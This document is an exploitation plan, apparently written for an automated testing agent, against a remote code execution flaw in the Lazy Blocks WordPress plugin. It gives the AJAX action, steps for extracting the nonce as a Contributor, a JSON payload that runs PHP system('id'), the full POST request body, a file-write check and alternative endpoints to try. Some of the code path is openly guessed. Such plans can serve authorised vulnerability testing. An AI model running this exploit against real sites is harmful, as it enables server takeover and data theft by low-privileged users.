Exploitation Research Plan: CVE-2026-1560 - Lazy Blocks Remote Code Execution

1. Vulnerability Summary

The Custom Block Builder – Lazy Blocks plugin (<= 4.2.0) is vulnerable to Remote Code Execution (RCE) due to improper control of generated code within the LazyBlocks_Blocks class. Specifically, the plugin provides AJAX and potentially REST API endpoints intended for rendering block previews in the Gutenberg editor. These endpoints accept a block definition (including PHP code) and execute it on the server to generate the preview. Because these endpoints do not sufficiently verify if the user has the authority to define or modify block code (only checking for general edit_posts capability), an authenticated Contributor-level user can inject and execute arbitrary PHP code.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: lzb_get_block_rendered (associated with the LazyBlocks_Blocks class)
• Vulnerable Parameter: block (specifically the render_code or code sub-properties within the JSON-encoded block object).
• Authentication: Contributor-level access (PR:L) is required.
• Preconditions: The user must be logged in and possess a valid nonce for the Lazy Blocks editor.

3. Code Flow

The vulnerability likely traces through the following path (inferred based on plugin architecture):

1. Entry Point: LazyBlocks_Blocks::__construct() registers the AJAX action wp_ajax_lzb_get_block_rendered.
2. Handler: The handler function (likely lzb_get_block_rendered() or get_block_html()) is invoked.
3. Input Parsing: The handler retrieves the block parameter from the $_POST request. This parameter is typically a JSON-encoded string representing a block's configuration.
4. Processing: The handler decodes the JSON and extracts the output_method and render_code (or code).
5. Sink: If output_method is set to php, the code in render_code is passed to a rendering function (likely using eval() or a temporary file inclusion inside a LazyBlocks_Blocks method) to generate the HTML output for the preview.
6. Execution: The arbitrary PHP code provided in the block parameter executes in the server context.

4. Nonce Acquisition Strategy

Lazy Blocks localizes data for its editor scripts. To obtain a valid nonce:

1. Prerequisite: A Contributor user exists.
2. Action: Create or edit any post/page to load the Gutenberg editor.
3. Variable: The nonce is typically found in the lzb_data or lzb_editor_config JavaScript objects.
4. Strategy:
   • Log in as a Contributor.
   • Navigate to /wp-admin/post-new.php.
   • Use browser_eval to extract the nonce: window.lzb_data?.nonce or window.lzb_localize?.nonce.
   • Note: The exact key should be verified by inspecting the page source for wp_localize_script calls related to lazy-blocks.

5. Exploitation Strategy

Step 1: Authentication and Nonce Extraction

Use the browser_navigate and browser_eval tools to log in as a Contributor and retrieve the required nonce.

• Target Page: /wp-admin/post-new.php
• JS Command: console.log(lzb_data.nonce) (assuming lzb_data is the localized variable).

Step 2: Craft the RCE Payload

The block parameter must be a JSON object that mimics a valid Lazy Block definition with an output_method of php.

Payload Structure (JSON):

{
  "slug": "lazyblock/rce-poc",
  "output_method": "php",
  "render_code": "echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();"
}

Step 3: Trigger the Vulnerability

Send a POST request to admin-ajax.php using the http_request tool.

• URL: http://[TARGET]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=lzb_get_block_rendered&nonce=[NONCE_VALUE]&block={"slug":"lazyblock/rce-poc","output_method":"php","render_code":"echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();"}
  

6. Test Data Setup

1. User Creation: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Plugin Activation: Ensure lazy-blocks version <= 4.2.0 is active.
3. Post Context: Create a draft post to ensure the Gutenberg editor context is available for nonce extraction.
   • wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID]

7. Expected Results

• The server response should have a 200 OK status.
• The response body should contain the output of the id command (e.g., uid=33(www-data) ...) wrapped between ---RCE_START--- and ---RCE_END---.
• Because the payload includes die(), the usual WordPress AJAX trailing 0 or JSON response should be suppressed, confirming execution of the injected code.

8. Verification Steps

1. Identify Output: Check the HTTP response body for the result of the system('id') call.
2. Verify Shell Access: Attempt to create a file in the uploads directory to confirm write access.
   • Payload: file_put_contents(wp_upload_dir()['basedir'] . '/rce.txt', 'exploited');
3. Confirm via CLI: Check if the file exists using WP-CLI.
   • ls /var/www/html/wp-content/uploads/rce.txt

9. Alternative Approaches

• REST API: If the AJAX action is restricted, check for a REST API equivalent. Lazy Blocks often registers routes under the lazyblocks/v1 namespace.
  • Endpoint: /wp-json/lazyblocks/v1/get-block-rendered
  • Method: POST or GET
• Shortcode Rendering: If the editor-specific AJAX is patched or restricted, investigate if the same LazyBlocks_Blocks rendering logic is accessible via a frontend shortcode where block attributes can be manipulated.
• Different "Code" Keys: If render_code is not the correct key, try code, php_code, or render_callback_code (inferred variations of Lazy Blocks' internal naming).